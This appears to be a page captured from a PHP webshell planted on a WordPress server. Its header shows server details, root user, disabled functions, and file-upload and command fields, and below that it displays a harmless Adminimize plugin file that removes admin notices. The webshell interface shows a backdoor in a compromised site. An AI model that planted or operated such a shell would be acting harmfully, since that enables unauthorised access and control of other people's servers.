403Webshell
Server IP : 151.101.66.159  /  Your IP : 216.73.216.66
Web Server : Flywheel/5.1.0
System : Linux wordpress 6.12.113+ #1 SMP Thu Oct 22 02:38:20 UTC 2026 x86_64
User : root ( )
PHP Version : 7.4.33.18
Disable Function : disk_free_space,diskfreespace,dl,exec,fpassthru,getmypid,getmyuid,highlight_file,link,opcache_compile_file,opcache_get_configuration,opcache_is_script_cached,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,popen,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,socket_listen,source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wp-content/plugins/adminimize/inc-setup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wp-content/plugins/adminimize/inc-setup/remove-admin-notices.php
<?php
/**
 * Remove the admin notices from global options settings
 *
 * @since  2015-12-09
 */
if ( ! function_exists( 'add_action' ) ) {
	die( "Hi there!  I'm just a part of plugin, not much I can do when called directly." );
}

// Need only on admin area
if ( ! is_admin() ) {
	return;
}

// If is AJAX Call.
if ( defined('DOING_AJAX') && DOING_AJAX ) {
	return;
}

// If is AJAX Call.
if ( defined('DOING_AJAX') && DOING_AJAX ) {
	return;
}

add_action( 'admin_init', '_mw_adminimize_init_to_remove_admin_notices' );
/**
 * Fire all hooks to remove admin notices.
 */
function _mw_adminimize_init_to_remove_admin_notices() {

	if ( _mw_adminimize_check_to_remove_admin_notices() ) {
		add_action( 'admin_head', '_mw_adminimize_remove_admin_notices', PHP_INT_MAX + 1 );
	}
}

/**
 * Remove Admin Notices.
 *
 * @return boolean
 */
function _mw_adminimize_check_to_remove_admin_notices() {

	// Exclude super admin.
	if ( _mw_adminimize_exclude_super_admin() ) {
		return false;
	}

	$user_roles = _mw_adminimize_get_all_user_roles();

	foreach ( $user_roles as $role ) {
		$disabled_global_option_[ $role ] = _mw_adminimize_get_option_value(
			'mw_adminimize_disabled_global_option_' . $role . '_items'
		);
	}

	foreach ( $user_roles as $role ) {
		if ( ! isset( $disabled_global_option_[ $role ][ '0' ] ) ) {
			$disabled_global_option_[ $role ][ '0' ] = '';
		}
	}

	$remove_admin_notices = false;
	foreach ( $user_roles as $role ) {

		$user = wp_get_current_user();

		if ( is_array( $user->roles ) && in_array( $role, $user->roles ) ) {
			if ( _mw_adminimize_current_user_has_role( $role )
				&& isset( $disabled_global_option_[ $role ] )
				&& is_array( $disabled_global_option_[ $role ] )
			) {
				$remove_admin_notices = _mw_adminimize_recursive_in_array(
					'.admin-notices', $disabled_global_option_[ $role ]
				);
			}
		}
	}

	if ( $remove_admin_notices ) {
		return true;
	}

	return false;
}

/**
 * Remove different admin notices.
 */
function _mw_adminimize_remove_admin_notices() {

	remove_action( 'admin_notices', 'update_nag', 3 );
	remove_action( 'admin_notices', 'maintenance_nag', 10 );
	remove_action( 'admin_notices', 'new_user_email_admin_notice' );
	remove_action( 'admin_notices', 'site_admin_notice' );

	// @ToDo, if we will use this.
	// Catch all admin notices.
	/*
	add_action( 'admin_notices', function () {
		ob_start();
	}, PHP_INT_MAX + 1 );
	$adm_notices = trim( ob_get_clean() );
	$adm_notices = preg_replace(
		'/(\sclass=["\'][^"\']*?notice)(["\'\s])/',
		'$1 inline$2',
		$adm_notices
	);
	*/
}

Youez - 2016 - github.com/yon3zu
LinuXploit